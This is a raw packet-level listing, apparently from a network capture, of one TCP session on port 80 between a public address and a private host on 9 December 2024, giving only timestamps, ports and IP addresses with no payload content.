Dec 9, 2024 15:29:35.799655914 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.799695015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.799719095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.801132917 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.801146030 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.801189899 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.803024054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.803045034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.803056002 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.803080082 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.803102016 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.804400921 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.804414034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.804457903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.805743933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.805756092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.805797100 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.807280064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.807322979 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.807331085 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.807358027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.808718920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.808732033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.808773041 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.810261965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.810275078 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.810296059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.810316086 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.810331106 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.811805964 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.811819077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.811860085 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.813395977 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.813410044 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.813451052 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.813468933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.814940929 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.814954042 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.814999104 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.816606045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.816620111 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.816629887 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.816665888 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.816682100 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.818120956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.818134069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.818176985 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.819703102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.819715023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.819766045 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.821628094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.821649075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.821683884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.821706057 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.822948933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.822962046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.822998047 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.824409008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.824423075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.824434042 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.824464083 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.824496031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.826015949 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.826028109 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.826066017 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.827614069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.827625990 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.827661037 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.827682972 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.829139948 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.829181910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.829191923 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.829216957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.830779076 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.830790997 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.830832005 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.832395077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.832406044 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.832446098 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.833925962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.833956003 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.833978891 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.833998919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.835782051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.835794926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.835843086 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.950887918 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.951092958 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.951136112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.951178074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.951670885 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.951719999 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.951966047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.952028990 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.952682972 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.952729940 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.953437090 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.953449011 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.953486919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.954893112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.955607891 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.955619097 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.955676079 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.957000971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.957052946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.957700968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.957711935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.957751989 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.957772017 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.959193945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.959204912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.959244967 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.959270954 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.960609913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.960621119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.960663080 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.962023973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.962035894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.962081909 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.963593006 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.963604927 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.963644028 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.964937925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.964948893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.964994907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.965022087 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.966578007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.966589928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.966638088 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.968018055 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.968029022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.968075037 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.969568968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.969580889 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.969641924 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.971086025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.971101046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.971158981 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.972624063 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.972635984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.972695112 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.974333048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.974364042 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.974453926 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.975999117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.976011038 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.976021051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.976061106 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.976083040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.977317095 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.977329016 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.977375031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.977394104 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.978889942 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.978902102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.978956938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.980475903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.980487108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.980535984 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.980566025 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.982153893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.982166052 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.982228041 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.983735085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.983747959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.983757019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.983798027 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.983819962 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.985333920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.985346079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.985390902 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.987971067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.987982988 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.988039017 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.989938021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.989948988 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.990005016 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.991426945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.991466045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.991477013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.991480112 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.991516113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.992898941 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.992912054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.992947102 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.992984056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.994035959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.994048119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.994097948 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.995423079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.995434046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.995487928 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.996857882 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.996869087 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.996917963 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.998274088 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.998286963 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.998296976 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.998328924 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.998351097 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:35.999830961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.999841928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:35.999882936 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.001189947 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.001209021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.001238108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.001259089 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.002692938 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.002752066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.002756119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.002793074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.004292965 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.004304886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.004314899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.004348993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.004369974 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.005770922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.005781889 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.005820036 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.007349014 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.007360935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.007399082 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.008985043 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.008996964 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.009036064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.010571003 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.010591984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.010624886 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.010647058 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.012217045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.012236118 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.012245893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.012269020 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.012286901 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.013701916 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.013714075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.013752937 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.013772964 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.015357971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.015369892 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.015412092 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.016868114 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.016887903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.016920090 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.016942024 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.018414021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.018425941 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.018436909 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.018484116 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.018484116 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.020019054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.020030022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.020076036 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.021601915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.021614075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.021663904 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.023204088 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.023215055 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.023258924 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.024751902 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.024764061 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.024774075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.024804115 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.024827003 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.154992104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.155134916 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.155400991 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.155456066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.156054020 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.156102896 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.156672001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.156728029 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.157448053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.157460928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.157502890 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.158560991 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.158616066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.159280062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.159292936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.159324884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.159337997 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.160849094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.160903931 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.161514997 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.161533117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.161566973 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.161581039 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.162667036 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.162679911 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.162723064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.164135933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.164149046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.164186001 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.164203882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.165846109 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.165858984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.165915012 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.167332888 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.167351007 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.167395115 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.168725014 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.168736935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.168806076 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.169913054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.169926882 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.170001030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.171346903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.171365023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.171400070 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.171411037 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.172687054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.172698975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.172735929 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.172755957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.175064087 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.175076962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.175120115 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.176583052 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.176594973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.176628113 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.176640034 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.178057909 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.178071022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.178112030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.178126097 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.179349899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.179363012 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.179414988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.181119919 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.181143045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.181194067 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.182574987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.182589054 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.182629108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.184006929 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.184030056 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.184063911 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.184089899 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:36.185550928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:36.185563087 CET	80	49767	185.215.113.206	192.168.2.5
